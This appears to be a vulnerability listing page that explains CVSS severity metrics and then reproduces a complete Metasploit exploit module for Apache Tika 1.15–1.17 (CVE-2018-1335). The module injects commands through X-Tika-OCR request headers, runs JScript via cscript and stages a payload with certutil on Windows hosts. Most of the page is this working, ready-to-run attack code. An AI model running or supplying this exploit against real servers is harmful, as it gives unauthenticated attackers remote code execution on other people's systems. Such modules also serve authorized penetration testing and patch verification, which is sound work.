The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Apache Tika 1.17 Header Command Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Tika Header Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Apache
Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is
used to bypass magic bytes checking. When OCR is specified in the
request, parameters can be passed to change the parameters passed
at command line to allow for arbitrary JScript to execute. A
JScript stub is passed to execute arbitrary code. This module was
verified against version 1.15 - 1.17 on Windows 2012.
While the CVE and finding show more versions vulnerable, during
testing it was determined only > 1.14 was exploitable due to
jp2 support being added.
},
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'win',
'Targets' =>
[
['Windows',
{'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'CmdStagerFlavor' => ['certutil']
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 25 2018',
'Author' =>
[
'h00die', # msf module
'David Yesland', # edb submission
'Tim Allison' # discovery
],
'References' =>
[
['EDB', '46540'],
['URL', 'https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/'],
['URL', 'https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E'],
['CVE', '2018-1335']
]))
register_options(
[
Opt::RPORT(9998),
OptString.new('TARGETURI', [true, 'The base path to the web application', '/'])
])
register_advanced_options(
[
OptBool.new('ForceExploit', [true, 'Override check result', false])
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri),
})
if res.nil?
vprint_error('No server response, check configuration')
return CheckCode::Safe
elsif res.code != 200
vprint_error('No server response, check configuration')
return CheckCode::Safe
end
if res.body =~ /Apache Tika (\d.[\d]+)/
version = Gem::Version.new($1)
vprint_status("Apache Tika Version Detected: #{version}")
if version.between?(Gem::Version.new('1.15'), Gem::Version.new('1.17'))
return CheckCode::Vulnerable
end
end
CheckCode::Safe
end
def execute_command(cmd, opts = {})
cmd.gsub(/"/, '\"')
jscript="var oShell = WScript.CreateObject('WScript.Shell');\n"
jscript << "var oExec = oShell.Exec(\"cmd /c #{cmd}\");"
print_status("Sending PUT request to #{peer}#{normalize_uri(target_uri, 'meta')}")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(target_uri, 'meta'),
'headers' => {
"X-Tika-OCRTesseractPath" => '"cscript"',
"X-Tika-OCRLanguage" => "//E:Jscript",
"Expect" => "100-continue",
"Content-type" => "image/jp2",
"Connection" => "close"},
'data' => jscript
})
fail_with(Failure::Disconnected, 'No server response') unless res
unless (res.code == 200 && res.body.include?('tika'))
fail_with(Failure::UnexpectedReply, 'Invalid response received, target may not be vulnerable')
end
end
def exploit
checkcode = check
unless checkcode == CheckCode::Vulnerable || datastore['ForceExploit']
print_error("#{checkcode[1]}. Set ForceExploit to override.")
return
end
execute_cmdstager(linemax: 8000)
end
end